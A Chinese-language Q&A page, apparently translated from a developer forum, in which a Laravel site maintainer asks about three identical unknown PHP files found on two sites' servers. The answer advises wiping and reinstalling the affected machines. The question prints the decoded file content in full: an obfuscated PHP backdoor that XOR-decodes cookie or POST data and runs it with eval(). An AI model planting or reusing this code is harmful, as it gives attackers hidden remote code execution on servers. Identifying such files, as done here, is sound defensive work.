首页 > 解决方案 > 看起来可疑的文件突然出现在 FTP 服务器上

问题描述

对于一个客户,我正在维护一小群用 PHP Laravel 构建的网站。最近在处理这些问题时,我发现了一些新的可疑文件,它们突然出现在两个网站的 FTP 服务器上。这些文件最初不是代码库的一部分,我不知道它们是从哪里来的。一共有三个文件,分别命名为,b3lo5x3x.php它们位于网站的根目录下。cache.phpplugin.php

文件的内容看起来很令人不安。在unphp.net上解码时,我得到以下结果,这与所有三个文件完全相同。所有三个文件的大小也相同。

<?php
$hguenpg = '8v7n\'kadeH62ycg_ti9pm1-fsb0#rxlu4*o';
$fvgiv = Array();
$fvgiv[] = $hguenpg[18] . $hguenpg[11] . $hguenpg[0] . $hguenpg[0] . $hguenpg[26] . $hguenpg[11] . $hguenpg[21] . $hguenpg[0] . $hguenpg[22] . $hguenpg[10] . $hguenpg[7] . $hguenpg[13] . $hguenpg[11] . $hguenpg[22] . $hguenpg[32] . $hguenpg[6] . $hguenpg[23] . $hguenpg[8] . $hguenpg[22] . $hguenpg[0] . $hguenpg[32] . $hguenpg[6] . $hguenpg[25] . $hguenpg[22] . $hguenpg[13] . $hguenpg[32] . $hguenpg[7] . $hguenpg[21] . $hguenpg[18] . $hguenpg[11] . $hguenpg[25] . $hguenpg[2] . $hguenpg[7] . $hguenpg[0] . $hguenpg[23] . $hguenpg[2];
$fvgiv[] = $hguenpg[9] . $hguenpg[33];
$fvgiv[] = $hguenpg[27];
$fvgiv[] = $hguenpg[13] . $hguenpg[34] . $hguenpg[31] . $hguenpg[3] . $hguenpg[16];
$fvgiv[] = $hguenpg[24] . $hguenpg[16] . $hguenpg[28] . $hguenpg[15] . $hguenpg[28] . $hguenpg[8] . $hguenpg[19] . $hguenpg[8] . $hguenpg[6] . $hguenpg[16];
$fvgiv[] = $hguenpg[8] . $hguenpg[29] . $hguenpg[19] . $hguenpg[30] . $hguenpg[34] . $hguenpg[7] . $hguenpg[8];
$fvgiv[] = $hguenpg[24] . $hguenpg[31] . $hguenpg[25] . $hguenpg[24] . $hguenpg[16] . $hguenpg[28];
$fvgiv[] = $hguenpg[6] . $hguenpg[28] . $hguenpg[28] . $hguenpg[6] . $hguenpg[12] . $hguenpg[15] . $hguenpg[20] . $hguenpg[8] . $hguenpg[28] . $hguenpg[14] . $hguenpg[8];
$fvgiv[] = $hguenpg[24] . $hguenpg[16] . $hguenpg[28] . $hguenpg[30] . $hguenpg[8] . $hguenpg[3];
$fvgiv[] = $hguenpg[19] . $hguenpg[6] . $hguenpg[13] . $hguenpg[5];
foreach ($fvgiv[7]($_COOKIE, $_POST) as $lfpfzw => $wqudv) {
    function dgubnv($fvgiv, $lfpfzw, $nclll) {
        return $fvgiv[6]($fvgiv[4]($lfpfzw . $fvgiv[0], ($nclll / $fvgiv[8]($lfpfzw)) + 1), 0, $nclll);
    }
    function oocfo($fvgiv, $elasr) {
        return @$fvgiv[9]($fvgiv[1], $elasr);
    }
    function yiugt($fvgiv, $elasr) {
        $vezpr = $fvgiv[3]($elasr) % 3;
        if (!$vezpr) {
            eval($elasr[1]($elasr[2]));
            exit();
        }
    }
    $wqudv = oocfo($fvgiv, $wqudv);
    yiugt($fvgiv, $fvgiv[5]($fvgiv[2], $wqudv ^ dgubnv($fvgiv, $lfpfzw, $fvgiv[8]($wqudv))));
} ?>

有谁知道这可能是什么?会不会是 FTP 服务器感染了某种恶意软件或黑客工具?

标签: phplaravelftp

解决方案


彻底擦拭受影响的机器。您需要将 Laravel 项目重新安装到新的干净机器上。如果可能,您还应该审核它们以及使用的任何其他软件。

确保服务器上的所有软件也已更新。您很可能是通过具有已知漏洞的未更新软件而受到损害的。


推荐阅读